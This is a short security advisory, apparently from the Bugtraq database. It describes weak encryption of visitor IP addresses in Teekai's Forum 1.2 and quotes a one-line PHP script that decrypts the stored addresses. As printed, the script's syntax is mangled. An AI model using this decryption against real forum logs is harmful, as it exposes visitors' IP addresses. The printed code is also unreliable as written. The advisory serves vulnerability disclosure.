Teekai's Forum Weak Visitor IP Address Encryption Vulnerability

Bugtraq ID:	4926
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 03 2002 12:00AM
Updated:	Jun 03 2002 12:00AM
Credit:	Credited to frog frog <[email protected]>.
Vulnerable:	Teekai Forum 1.2
Not Vulnerable:

Teekai's Forum Weak Visitor IP Address Encryption Vulnerability

Teekai's Forum employs weak encryption of web usage statistics. This may enable a remote attacker to gain unauthorized access to sensitive information such as the IP addresses of visitors to a site running the Forum software.

Teekai's Forum Weak Visitor IP Address Encryption Vulnerability

The following PHP script was provided to decrypt to visitor IP addresses:

<? $$cryptedip = explode(' ', $cryptedip); $$key = md5("20"); $$trueip = $$cryptedip[0]/$key.".".$cryptedip[1]/$key.".".$cryptedip[2]/$key.".".$cryptedip[3]/$key; echo "Result: $$trueip "; >

Teekai's Forum Weak Visitor IP Address Encryption Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Teekai's Forum Weak Visitor IP Address Encryption Vulnerability

References:

• Forum Homepage (Teekai)
  
• Security holes in two Teekai's products + security hole in ncmail.netscape.com (frog frog )